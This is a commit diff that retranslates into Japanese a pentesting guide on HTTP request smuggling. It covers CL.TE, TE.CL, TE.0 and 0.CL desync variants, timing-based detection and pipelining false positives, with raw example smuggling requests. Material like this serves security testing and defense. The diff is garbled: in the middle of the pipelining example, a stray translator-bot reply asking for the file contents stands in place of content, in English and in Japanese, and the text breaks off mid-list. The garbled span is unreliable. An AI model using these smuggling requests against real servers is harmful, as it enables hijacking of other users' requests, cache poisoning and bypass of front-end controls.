Translated ['src/pentesting-web/http-request-smuggling/README.md'] to ja

2025-10-10 18:36:50 +00:00 · 2025-09-05 11:38:35 +00:00 · 2025-09-05 11:38:35 +00:00 · d1a5310ebc
commit d1a5310ebc
parent 62e09945fc
1 changed files with 180 additions and 184 deletions
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@ -3,12 +3,12 @@
 {{#include ../../banners/hacktricks-training.md}}


-## この脆弱性とは
+## 概要

-この脆弱性は、**desyncronization** が **front-end proxies** と **back-end** server の間で発生し、**attacker** が HTTP の **request** を **front-end** proxies（load balance/reverse-proxy）には **single request** として、**back-end** server には **2 request** として **interpreted** されるような状況で発生します。\
-これにより、ユーザは **自分のリクエストの次に back-end server に到着するリクエストを改変する** ことが可能になります。
+この脆弱性は、**front-end proxies** と **back-end** サーバ間の **desyncronization** により、**attacker** が送信した HTTP の **request** が **front-end** 側（load balance/reverse-proxy）では **single request** として **interpreted** され、**back-end** サーバでは **as 2 request** として **interpreted** される場合に発生します。\
+これにより、ユーザは自分のリクエストの後に **back-end** サーバに到着する次の **request** を **modify** することが可能になります。

-### 理論
+### Theory

 [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)

@ -23,49 +23,49 @@
 > The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
 > Chunked means that large data is sent in a series of chunks

-### 実際
+### 実際の状況

-**Front-End**（load-balance / Reverse Proxy）が _**Content-Length**_ または _**Transfer-Encoding**_ ヘッダを処理し、**Back-end** server がもう一方を処理することで、両者の間に **desyncronization** が発生します。\
-これは非常に深刻になり得ます。なぜなら **attacker** は reverse proxy に対して 1 つの request を送り、それが **back-end** server によって **2 つの異なる request** として **interpreted** されるからです。 この手法の危険性は、**back-end** server が **注入された 2 番目の request** を次のクライアントから来たものとして扱い、そのクライアントの本来のリクエストが **注入された request** の一部になる点にあります。
+**Front-End**（load-balance / Reverse Proxy）は _**Content-Length**_ または _**Transfer-Encoding**_ ヘッダのどちらかを処理し、**Back-end** サーバは反対側を処理することで、両者の間に **desyncronization** が発生します。\
+これは非常に危険で、**attacker** が reverse proxy に対して 1 つの request を送ることで、**back-end** サーバから見るとそれが **2 つの異なる request** として **interpreted** される可能性があるためです。この手法の危険性は、**back-end** サーバが注入された **2nd request** を次のクライアントから来たものとして扱い、そのクライアントの本来のリクエストが注入リクエストの一部になってしまう点にあります。

 ### 特記事項

-HTTP では **改行文字は 2 バイトで構成される** ことを覚えておいてください:
+HTTP においては **改行文字は 2 バイトで構成される** ことを覚えておいてください:

- **Content-Length**: このヘッダは **10 進数** を使ってリクエストの **body** の **バイト数** を示します。ボディは最後の文字で終わることが期待され、**リクエストの末尾に改行は必須ではありません**。
- **Transfer-Encoding:** このヘッダは **body** 内で **16 進数** を使って次のチャンクの **バイト数** を示します。チャンクは **改行で終わる必要** があり、この改行は長さの指標に **含まれません**。この転送方式は **サイズ 0 のチャンクが続き、2 つの改行で終了** する必要があります: `0`
- **Connection**: 経験上、request smuggling の最初のリクエストでは **`Connection: keep-alive`** を使うことが推奨されます。
+- **Content-Length**: このヘッダは **decimal number** を使ってリクエストの **body** の **bytes** 数を示します。ボディは最後の文字で終わるものと期待され、**リクエストの末尾に改行は必須ではありません**。
+- **Transfer-Encoding:** このヘッダではボディ内に **hexadecimal number** を使って次のチャンクの **byte** 数を示します。**チャンク** は **改行で終わる必要があり**、しかしこの改行は長さの指標には含まれません。この転送方式は **サイズ 0 のチャンクの後に 2 つの改行**（`0`）で終わらなければなりません。
+- **Connection**: 私の経験では、request Smuggling を行う最初のリクエストでは **`Connection: keep-alive`** を使うことを推奨します。

 ### Visible - Hidden

-HTTP/1.1 の主な問題は、すべてのリクエストが同一の TCP ソケット内を流れるため、2 つのシステム間で受信したリクエストの扱いに不一致があると、1 つのリクエストが最終的な backend（あるいは中間システム）によって 2 件以上の別個のリクエストとして処理され得る点にあります。
+HTTP/1.1 の主な問題はすべてのリクエストが同じ TCP ソケットを通るため、リクエストを受け取る 2 つのシステム間で不一致があると、1 つのリクエストが最終的な backend（または中間のシステム）で 2 つ以上の異なるリクエストとして扱われる可能性があることです。

-**[This blog post](https://portswigger.net/research/http1-must-die)** は、WAF に検知されない方法で desync 攻撃を検出する新しい手法を提案しています。そのために Visible vs Hidden の振る舞いを提示しています。この場合の目的は、実際に exploit せずに desync を引き起こしている可能性のある技術を使って、レスポンスに不一致があるかどうかを探すことです。
+**[This blog post](https://portswigger.net/research/http1-must-die)** は、WAF に検知されない desync 攻撃を検出する新しい方法を提案しており、Visible vs Hidden の振る舞いを提示しています。ここでの目的は、実際に何かをエクスプロイトせずに desync を引き起こす可能性のある技術を用いてレスポンスの不一致を探すことです。

-例えば、通常の Host ヘッダと " host" ヘッダの両方を送信し、バックエンドがこのリクエストに対して不満を示す（たとえば " host" の値が不正であるため）場合、front-end が " host" ヘッダを認識しなかったが最終的な backend はそれを使用した可能性があり、front-end と backend の間に desync があることを示唆します。
+例えば、通常の Host ヘッダと " host" ヘッダを送信して、バックエンドがこのリクエストに対して文句を言う（例えば " host" の値が不正なため）場合、フロントエンドは " host" ヘッダを見ていなかったが最終バックエンドはそれを使っている、つまり front-end と back-end の間で desync がある可能性を示します。

-これは **Hidden-Visible discrepancy** になります。
+これは **Hidden-Visible discrepancy** です。

-逆に、front-end が " host" ヘッダを取り扱っていたが backend は扱っていなかった場合は **Visible-Hidden** の状況と言えます。
+逆に、front-end が " host" ヘッダを考慮したが back-end がしていなかった場合、**Visible-Hidden** の状況になります。

-この考え方は、AWS ALB を front-end、IIS を backend にしたケースでの desync を発見するのに役立ちました。これは "Host: foo/bar" を送信したときに ALB が `400, Server; awselb/2.0` を返したが、"Host : foo/bar" を送ったときに `400, Server: Microsoft-HTTPAPI/2.0` を返し、backend がレスポンスを返していることを示したためです。これは Hidden-Visible（H-V）の状況です。
+例えば、これにより AWS ALB を front-end、IIS を backend とする環境で desync が発見されました。これは "Host: foo/bar" を送信したとき ALB が `400, Server; awselb/2.0` を返したのに対し、"Host : foo/bar" を送信したときは `400, Server: Microsoft-HTTPAPI/2.0` を返し、backend が応答を返していることを示していたためです。これは Hidden-Visible (H-V) の状況でした。

-この問題は AWS 側で完全に修正されているわけではありませんが、`routing.http.drop_invalid_header_fields.enabled` を設定し、`routing.http.desync_mitigation_mode = strictest` を使うことで緩和できます。
+この問題は AWS 側で修正されていない点に注意してくださいが、`routing.http.drop_invalid_header_fields.enabled` を設定し、`routing.http.desync_mitigation_mode = strictest` にすることで防止できます。


-## Basic Examples
+## 基本例

 > [!TIP]
-> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
+> Burp Suite でこれを試す際は、repeater の設定で **`Update Content-Length` と `Normalize HTTP/1 line endings` を無効にする** ことを推奨します。いくつかの gadget は改行、キャリッジリターン、そして不正な content-length を悪用します。

-HTTP request smuggling 攻撃は、front-end と back-end サーバが `Content-Length` (CL) と `Transfer-Encoding` (TE) ヘッダを解釈する際の差異を悪用する曖昧なリクエストを送信することで作成されます。これらの攻撃は主に **CL.TE**, **TE.CL**, **TE.TE** として現れます。各タイプは front-end と back-end がこれらのヘッダをどのように優先するかの組み合わせを表します。脆弱性は、同じリクエストをサーバが異なる方法で処理することにより生じ、予期しない悪意ある結果につながります。
+HTTP request smuggling 攻撃は、front-end と back-end が `Content-Length` (CL) と `Transfer-Encoding` (TE) ヘッダを解釈する際の不一致を突く曖昧なリクエストを送ることで作られます。これらの攻撃は主に **CL.TE**, **TE.CL**, **TE.TE** といった形で現れます。各タイプは front-end と back-end がこれらのヘッダをどのように優先するかの組み合わせを表します。脆弱性は同じリクエストをサーバが異なる方法で処理することにより生じ、予期しないまたは悪意のある結果を引き起こす可能性があります。

-### Basic Examples of Vulnerability Types
+### 脆弱性タイプの基本例

 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)

 > [!TIP]
-> To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
+> 前述の表には TE.0 技法も追加すべきです。これは CL.0 技法と同様ですが Transfer-Encoding を使用します。

 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

@ -74,8 +74,8 @@ HTTP request smuggling 攻撃は、front-end と back-end サーバが `Content-
 - **Attack Scenario:**

 - 攻撃者は `Content-Length` ヘッダの値が実際のコンテンツ長と一致しないリクエストを送信します。
- front-end サーバは `Content-Length` の値に基づいてリクエスト全体を back-end に転送します。
- back-end サーバは `Transfer-Encoding: chunked` ヘッダによりリクエストをチャンク方式として処理し、残りのデータを別の続きのリクエストとして解釈します。
+- Front-end サーバは `Content-Length` の値に基づきリクエスト全体を back-end に転送します。
+- Back-end サーバは `Transfer-Encoding: chunked` ヘッダによりリクエストをチャンク化されたものとして処理し、残りのデータを別の続きのリクエストとして解釈します。
 - **Example:**

 ```
@ -97,9 +97,9 @@ Foo: x
 - **Back-End (CL):** `Content-Length` ヘッダに基づいてリクエストを処理します。
 - **Attack Scenario:**

- 攻撃者はチャンク化されたリクエストを送り、チャンクサイズ（`7b`）と実際の `Content-Length: 4` が一致しないようにします。
- front-end サーバは `Transfer-Encoding` を尊重してリクエスト全体を back-end に転送します。
- back-end サーバは `Content-Length` を尊重して最初の部分（指定されたバイト数）だけを処理し、残りを意図しない続きのリクエストの一部として残します。
+- 攻撃者はチャンクサイズ（例: `7b`）と実際の `Content-Length: 4` が一致しないチャンク化リクエストを送信します。
+- Front-end サーバは `Transfer-Encoding` を尊重してリクエスト全体を back-end に転送します。
+- Back-end サーバは `Content-Length` を尊重して最初の部分（指定されたバイト数）だけを処理し、残りを意図しない次のリクエストの一部として残します。
 - **Example:**

 ```
@ -122,12 +122,12 @@ x=

 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

- **Servers:** 両方が `Transfer-Encoding` をサポートしているが、1 つはオブフスケーションによってそれを認識できなくなることがある。
+- **Servers:** 両方とも `Transfer-Encoding` をサポートしているが、片方は難読化に気付かず無視してしまう可能性がある。
 - **Attack Scenario:**

- 攻撃者は obfuscation を施した `Transfer-Encoding` ヘッダを含むリクエストを送信します。
- どちらのサーバ（front-end または back-end）がそのオブフスケーションを認識できないかによって、CL.TE または TE.CL の脆弱性を突ける場合があります。
- 片方のサーバにとって未処理のまま残ったリクエストの一部が、続くリクエストの一部として扱われ、smuggling が発生します。
+- 攻撃者は `Transfer-Encoding` ヘッダを難読化して送信します。
+- front-end または back-end のどちらかがその難読化を認識できない場合、CL.TE や TE.CL の脆弱性に転じ得ます。
+- 片方のサーバから見て未処理のリクエスト部分が次のリクエストの一部となり、smuggling が発生します。
 - **Example:**

 ```
@ -149,8 +149,8 @@ Transfer-Encoding

 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**

- 両方のサーバが `Content-Length` ヘッダのみを基にリクエストを処理します。
- このシナリオは通常 smuggling を引き起こしません。というのも、両サーバの解釈が一致しているためです。
+- 両方のサーバが `Content-Length` ヘッダのみに基づいてリクエストを処理します。
+- このシナリオは通常 smuggling を引き起こしません。両者の解釈が一致しているためです。
 - **Example:**

 ```
@ -164,8 +164,8 @@ Normal Request

 #### **CL.0 Scenario**

- `Content-Length` ヘッダが存在し、0 以外の値を持つシナリオを指します。back-end が `Content-Length` ヘッダを無視して（0 と見なして）処理する一方で、front-end はそれを解析するような状況です。
- これはリクエストの終端をサーバがどのように判断するかに影響するため、smuggling 攻撃を理解・作成する上で重要です。
+- `Content-Length` ヘッダが存在し、その値が 0 以外でリクエストボディがあることを示しているが、back-end が `Content-Length` を無視して（0 として扱い）、front-end はそれを解析しているようなシナリオを指します。
+- これは smuggling を理解しクラフトする上で重要で、サーバがリクエストの終端をどのように判断するかに影響を与えます。
 - **Example:**

 ```
@ -179,7 +179,7 @@ Non-Empty Body

 #### TE.0 Scenario

- 上の CL.0 と同様ですが、TE を使用した場合です。
+- 前述と同様だが TE を使用するパターンです。
 - Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Example**:
 ```
@ -201,7 +201,7 @@ EMPTY_LINE_HERE
 ```
 #### `0.CL` シナリオ

-`0.CL` の状況では、Content-Length のような値を持つリクエストが送信されます:
+`0.CL` の状況では、次のような Content-Length を持つ request が送信されます:
 ```
 GET /Logon HTTP/1.1
 Host: <redacted>
@ -211,46 +211,46 @@ Content-Length:
 GET /404 HTTP/1.1
 X: Y
 ```
-そして front-end は `Content-Length` を考慮しないため、例では最初の request（例の 7 まで）だけを backend に送信します。しかし backend は `Content-Length` を見て、front-end が既に response を待っているため到着しない body を待ち続けます。
+フロントエンドは`Content-Length`を考慮しないため、最初のリクエスト（例では7まで）だけをバックエンドに送信します。しかし、バックエンドは`Content-Length`を参照してボディの到着を待つため、フロントエンドが既にレスポンスを待っている状態ではボディが到着せず待ちが発生します。

-ただし、backend に送った request の body を受け取る前にレスポンスを返せる request があれば、このデッドロックは発生しません。例えば IIS では `/con` のような forbidden words へのリクエストを送るとこれが起きます（[documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file) を参照）。このようにして、最初の request は直接レスポンスされ、2 番目の request は被害者の request を含むようになります：
+ただし、バックエンドに対してリクエスト本体を受け取る前にレスポンスを返すことができるリクエストが存在すれば、このデッドロックは発生しません。例えば IIS では、`/con` のような予約語（check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)）に対するリクエストを送るとこの現象が起きます。こうすることで、最初のリクエストは即座に応答され、2番目のリクエストが被害者のリクエストを含むようになります：
 ```
 GET / HTTP/1.1
 X: yGET /victim HTTP/1.1
 Host: <redacted>
 ```
-これは desync を引き起こすのに有用だが、これまでのところ影響はない。
+これはデシンクを引き起こすのに有用ですが、これまでは影響を及ぼしませんでした。

-しかし、その投稿はこれに対する解決策を提供しており、**[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** に変換する方法を示している。
+しかし、この投稿はこれに対する解決策を示しており、**[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** に変換することで対処します。

-#### ウェブサーバのクラッシュ
+#### Breaking the web server

-この手法は、初期の HTTP データを読み取っている間にウェブサーバをクラッシュさせられるが、接続を閉じない状況でも有用です。こうすると、HTTP リクエストの **body** が次の HTTP リクエストとして扱われます。
+この手法は、**初期のHTTPデータを読み取っている間にWebサーバを破壊する**ことが可能で、かつ**接続を閉じない**ような状況でも有用です。この場合、HTTPリクエストの**本文**は次の**HTTPリクエスト**として扱われます。

-例えば、[**this writeup**](https://mizu.re/post/twisty-python) で説明されているように、Werkzeug ではいくつかの **Unicode** 文字を送信することでサーバが**クラッシュ**する可能性がありました。しかし、HTTP 接続がヘッダ **`Connection: keep-alive`** で作成されている場合、リクエストの **body** は読み取られず接続は開いたままになるため、リクエストの **body** が**次の HTTP リクエスト** として扱われます。
+たとえば、[**this writeup**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeug では一部の **Unicode** 文字を送ることでサーバを**クラッシュ**させることが可能でした。しかし、HTTP接続がヘッダ **`Connection: keep-alive`** で作られている場合、リクエストの本文は読み取られず接続は開いたままになるため、リクエストの**本文**は**次のHTTPリクエスト**として扱われます。

-#### hop-by-hop headers を使った強制
+#### Forcing via hop-by-hop headers

-hop-by-hop headers を悪用することで、プロキシに **ヘッダ Content-Length または Transfer-Encoding を削除し、HTTP request smuggling を悪用できるようにする** と指示できる。
+hop-by-hop headers を悪用すると、プロキシに **ヘッダ Content-Length または Transfer-Encoding を削除させることで、HTTP request smuggling を悪用可能にする** と指示できます。
 ```
 Connection: Content-Length
 ```
-For **more information about hop-by-hop headers** visit:
-
+For **hop-by-hop headers に関する詳細**は次を参照してください：

 {{#ref}}
 ../abusing-hop-by-hop-headers.md
 {{#endref}}

-## HTTP Request Smuggling の発見方法
+## HTTP Request Smuggling の検出

-HTTP request smuggling 脆弱性の特定は、操作したリクエストに対するサーバの応答時間を観察するタイミング技術で達成できることが多いです。これらの技術は特に CL.TE と TE.CL の脆弱性を検出するのに有効です。これらの方法に加えて、脆弱性を見つけるために使える他の戦略やツールもあります。
+HTTP request smuggling 脆弱性の特定は、操作したリクエストに対するサーバの応答時間を観測するタイミング技法を用いることで実現できることが多い。これらの手法は特に CL.TE および TE.CL の検出に有効である。これら以外にも、脆弱性を発見するための他の戦略やツールがある：

-### Timing 技術を使った CL.TE 脆弱性の発見
+### CL.TE 脆弱性をタイミング技法で発見する方法

- 方法:
-  - アプリケーションが脆弱であれば、バックエンドサーバが追加のデータを待機するようなリクエストを送る。
- 例:
+- **方法:**
+
+- アプリケーションが脆弱であれば、バックエンドサーバが追加データを待機するようなリクエストを送信する。
+- **例:**

 ```
 POST / HTTP/1.1
@ -264,19 +264,20 @@ A
 0
 ```

- 観察点:
-  - フロントエンドサーバが `Content-Length` に基づいてリクエストを処理し、メッセージを早期に切り落とす。
-  - バックエンドサーバは chunked メッセージを期待しており、次のチャンクが届かないため待機し、遅延が発生する。
+- **観察:**
+- フロントエンドは `Content-Length` に基づいてリクエストを処理し、メッセージを早期に切り上げる。
+- バックエンドは chunked メッセージを期待して次のチャンクを待つが、それが到着せず遅延が発生する。

- 指標:
-  - タイムアウトや長い応答遅延。
-  - バックエンドサーバから 400 Bad Request エラーを受け取り、場合によっては詳細なサーバ情報が含まれることがある。
+- **指標:**
+- タイムアウトや応答の長い遅延。
+- バックエンドから 400 Bad Request エラーを受け取り、場合によっては詳細なサーバ情報が含まれることがある。

-### Timing 技術を使った TE.CL 脆弱性の発見
+### TE.CL 脆弱性をタイミング技法で発見する方法

- 方法:
-  - アプリケーションが脆弱であれば、バックエンドサーバが追加のデータを待機するようなリクエストを送る。
- 例:
+- **方法:**
+
+- アプリケーションが脆弱であれば、バックエンドサーバが追加データを待機するようなリクエストを送信する。
+- **例:**

 ```
 POST / HTTP/1.1
@ -289,55 +290,50 @@ Content-Length: 6
 X
 ```

- 観察点:
-  - フロントエンドサーバが `Transfer-Encoding` を基にリクエストを処理してメッセージ全体を転送する。
-  - バックエンドサーバは `Content-Length` に基づくメッセージを期待しており、追加データが届かないため待機し、遅延が発生する。
+- **観察:**
+- フロントエンドは `Transfer-Encoding` に基づいてリクエストを処理し、メッセージ全体を転送する。
+- バックエンドは `Content-Length` に基づくメッセージを期待して追加データを待つが、それが到着せず遅延が発生する。

-### 脆弱性を見つけるためのその他の方法
+### その他の脆弱性発見手法

- Differential Response Analysis:
-  - リクエストのわずかに異なるバージョンを送信し、サーバ応答が予期せぬ違いを示すか観察する。これはパースの不一致を示す。
- Using Automated Tools:
-  - Burp Suite の 'HTTP Request Smuggler' extension のようなツールは、各種あいまいなリクエストを自動で送って応答を解析することでこれらの脆弱性を検査できる。
- Content-Length Variance Tests:
-  - 実際のコンテンツ長と一致しない様々な `Content-Length` 値のリクエストを送信し、サーバがそれらの不一致をどう処理するかを観察する。
- Transfer-Encoding Variance Tests:
-  - `Transfer-Encoding` ヘッダを難読化したり破損させたりしたリクエストを送信し、フロントエンドとバックエンドがそれらにどう異なって応答するかを監視する。
+- **差分応答解析 (Differential Response Analysis):**
+- わずかに異なるバージョンのリクエストを送り、サーバ応答が予期せぬ違いを示すかを観察する。これはパースの不一致を示す可能性がある。
+- **自動化ツールの利用 (Using Automated Tools):**
+- Burp Suite の 'HTTP Request Smuggler' extension のようなツールは、あいまいなリクエストを様々に送信して応答を解析することで自動的にテストを行える。
+- **Content-Length の不一致テスト (Content-Length Variance Tests):**
+- 実際のコンテンツ長と一致しない `Content-Length` 値でリクエストを送り、サーバがどのように扱うかを観察する。
+- **Transfer-Encoding の不正/難読化テスト (Transfer-Encoding Variance Tests):**
+- 難読化されたり不正な `Transfer-Encoding` ヘッダを含むリクエストを送り、フロントエンドとバックエンドがどのように異なる反応をするかを監視する。

 ### The `Expect: 100-continue` header

-このヘッダが http desync を利用するのにどう役立つかは以下を参照:
+このヘッダが http desync の悪用にどのように役立つかは以下を参照：

 {{#ref}}
 ../../network-services-pentesting/pentesting-web/special-http-headers.md
 {{#endref}}

-### HTTP Request Smuggling 脆弱性のテスト
+### HTTP Request Smuggling 脆弱性テスト

-タイミング技術の有効性を確認した後、クライアントからのリクエストを操作できるかどうかを検証することが重要です。単純な方法はリクエストを汚染して、例えば `/` へのリクエストが 404 を返すようにすることです。前述の CL.TE と TE.CL の例は、クライアントが別のリソースにアクセスしようとしているにもかかわらず、クライアントのリクエストを汚染して 404 を引き出す方法を示しています（[Basic Examples](#basic-examples) を参照）。
+タイミング技法の有効性を確認したら、クライアントからのリクエストを操作できるかどうかを検証することが重要である。単純な方法としては、リクエストをポイズニングして `/` へのリクエストが 404 を返すように試すことがある。前述の `CL.TE` および `TE.CL` の [Basic Examples](#basic-examples) にある例は、クライアントが別のリソースにアクセスしようとしているにもかかわらず、クライアントのリクエストをポイズニングして 404 を引き起こす方法を示している。

-重要な考慮点
+**重要な考慮点**

-リクエストを妨害して request smuggling 脆弱性をテストする際は、以下を念頭に置いてください:
+他のリクエストに干渉して request smuggling のテストを行う場合、次の点に注意すること：

- Distinct Network Connections:
-  - 「攻撃」リクエストと「通常」リクエストは別々のネットワーク接続で送るべきです。両方を同じ接続で送ると脆弱性の存在は検証できません。
- Consistent URL and Parameters:
-  - 両リクエストで同一の URL とパラメータ名を使うことを目指してください。モダンなアプリケーションは URL やパラメータに基づいて特定のバックエンドサーバにルーティングすることが多いです。これらを一致させることで、両リクエストが同じサーバで処理される可能性が高まり、攻撃成功の前提条件となります。
- Timing and Racing Conditions:
-  - 「通常」リクエストは「攻撃」リクエストによる干渉を検出するためのもので、他の同時実行中のアプリケーションリクエストと競合します。したがって「攻撃」リクエストの直後に「通常」リクエストを送信してください。負荷の高いアプリケーションでは結論を出すために複数回の試行が必要になることがあります。
- Load Balancing Challenges:
-  - フロントエンドサーバがロードバランサとして機能している場合、リクエストは複数のバックエンドへ分散される可能性があります。「攻撃」と「通常」のリクエストが異なるシステムに送られると攻撃は失敗します。このロードバランシングの影響で脆弱性を確認するために複数回の試行が必要になることがあります。
- Unintended User Impact:
-  - もし攻撃が意図せず別のユーザのリクエストに影響を与えた場合（テスト用の「通常」リクエストではない他のユーザのリクエストに影響を与えた場合）、それはあなたの攻撃が他のアプリケーションユーザに影響を及ぼしたことを示します。継続的なテストは他ユーザを混乱させる可能性があるため、慎重に行ってください。
+- **別個のネットワーク接続:** 「attack」と「normal」リクエストは別々のネットワーク接続で送信するべきである。両方を同じ接続で送るだけでは脆弱性の存在は検証できない。
+- **URL とパラメータの一貫性:** 両方のリクエストで同一の URL とパラメータ名を使うことを目指す。多くの現代的なアプリケーションは URL やパラメータに基づいて特定のバックエンドサーバにルーティングするため、これを合わせることで両方のリクエストが同じサーバで処理される可能性が高くなり、攻撃成功の前提条件となる。
+- **タイミングとレース条件:** 「normal」リクエストは「attack」リクエストによる干渉を検出する目的で送信されるため、他の同時実行中のアプリケーションリクエストと競合する。したがって「attack」リクエスト直後に「normal」リクエストを送る。負荷の高いアプリでは結論を出すために複数回の試行が必要になることがある。
+- **ロードバランシングの課題:** フロントエンドがロードバランサとして振る舞う場合、リクエストを複数のバックエンドに振り分ける可能性がある。「attack」と「normal」リクエストが異なるシステムに割り当てられると攻撃は成功しない。ロードバランシングの影響により、脆弱性確認のために複数回の試行が必要になる場合がある。
+- **意図しないユーザ影響:** あなたの攻撃が意図せず他のユーザのリクエスト（あなたが送った「normal」リクエストではないもの）に影響を与えた場合、それはあなたの攻撃が他の利用者に影響を及ぼしたことを意味する。継続的なテストは他のユーザを妨害する可能性があるため、慎重に行う必要がある。

-## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
+## HTTP/1.1 の pipelining によるアーティファクトと実際の request smuggling の区別

-Connection reuse (keep-alive) と pipelining は、同じソケット上で複数のリクエストを送るテストツールにおいて「smuggling」の幻影を簡単に生み出します。クライアント側の無害なアーティファクトと実際のサーバ側のデスインクを区別する方法を学んでください。
+Connection reuse (keep-alive) と pipelining は、同一ソケットで複数のリクエストを送信するテストツールにおいて簡単に「smuggling」のように見える現象を生じさせる。クライアント側の無害なアーティファクトと、実際のサーバ側 desync を区別することを学んでおく。

-### なぜ pipelining が古典的な false positives を作るのか
+### なぜパイプラインは古典的な誤検知を生むのか

-HTTP/1.1 は単一の TCP/TLS 接続を再利用して同じストリーム上にリクエストとレスポンスを連結します。pipelining ではクライアントが複数のリクエストを立て続けに送り、順序通りの応答を期待します。一般的な false-positive の例は、単一の接続で malformed CL.0-style payload を二度再送することです:
+HTTP/1.1 は単一の TCP/TLS 接続を再利用し、同じストリーム上にリクエストとレスポンスを連結する。pipelining ではクライアントが複数のリクエストを連続して送り、順序どおりのレスポンスを期待する。単一接続上で不正な CL.0 スタイルのペイロードを二度送信するのは一般的な誤検知のパターンである：
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -346,7 +342,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-I don't have the file contents. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md here and I'll translate the relevant English text to Japanese, preserving all markdown/html, code, tags, links, and paths per your rules.
+src/pentesting-web/http-request-smuggling/README.md の内容を貼り付けてください。受け取った英文を指定どおり日本語に翻訳し、Markdown/HTML タグ、コード、リンク、パス、指定されたタグはそのまま残します。
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -360,7 +356,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-サーバーが不正な `Content_Length` を無視した場合、FE↔BE desync は発生しません。再利用時、クライアントは実際にこのバイトストリームを送信し、サーバーはそれを2つの独立したリクエストとして解析します:
+サーバーが不正な `Content_Length` を無視した場合、FE↔BE desync は発生しません。再利用時、クライアントは実際に次のバイトストリームを送信しており、サーバーはそれを2つの独立したリクエストとして解析しました：
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -374,7 +370,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impact: none. You just desynced your client from the server framing.
+Impact: なし。クライアントがサーバのフレーミングからdesyncedしただけです。

 > [!TIP]
 > Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
@ -382,45 +378,44 @@ Impact: none. You just desynced your client from the server framing.
 ### Litmus tests: pipelining or real desync?

 1. Disable reuse and re-test
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
- If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
+- Burp Intruder/Repeater で HTTP/1 reuse をオフにし、"Send group in sequence" を避けます。
+- Turbo Intruder では `requestsPerConnection=1` と `pipeline=False` を設定します。
+- 挙動が消える場合は、connection-locked/stateful なターゲットや client-side desync を扱っている場合を除き、たいてい client-side pipelining が原因です。
 2. HTTP/2 nested-response check
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
+- HTTP/2 リクエストを送信します。レスポンスボディに完全なネストされた HTTP/1 レスポンスが含まれていれば、純粋なクライアント副作用ではなくバックエンドのパース/desync バグが証明されます。
 3. Partial-requests probe for connection-locked front-ends
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
- See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
+- 一部の FE は、クライアントが自身の接続を再利用した場合にのみ upstream BE 接続を再利用します。partial-requests を使って、クライアントの再利用を反映する FE の挙動を検出します。
+- connection-locked 手法については PortSwigger の "Browser‑Powered Desync Attacks" を参照してください。
 4. State probes
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
- Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
+- 同じ TCP 接続上での最初のリクエストとそれ以降のリクエストの差異（first-request routing/validation）を探します。
+- Burp "HTTP Request Smuggler" にはこれを自動化する connection‑state probe が含まれています。
 5. Visualize the wire
- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
+- Burp "HTTP Hacker" extension を使い、reuse と partial requests を試しながら結合やメッセージフレーミングを直接検査します。

 ### Connection‑locked request smuggling (reuse-required)

-Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
+一部の front-ends は、クライアントが接続を再利用した場合にのみ upstream 接続を再利用します。実際の smuggling は存在しますが、client-side reuse に依存する条件付きです。区別して影響を証明するには：
+- サーバ側のバグを証明する
+- HTTP/2 nested-response check を使う、または
+- partial-requests を使って FE がクライアントの再利用時のみ upstream を再利用することを示す
+- たとえ直接のクロスユーザソケット悪用がブロックされていても、実際の影響を示す：
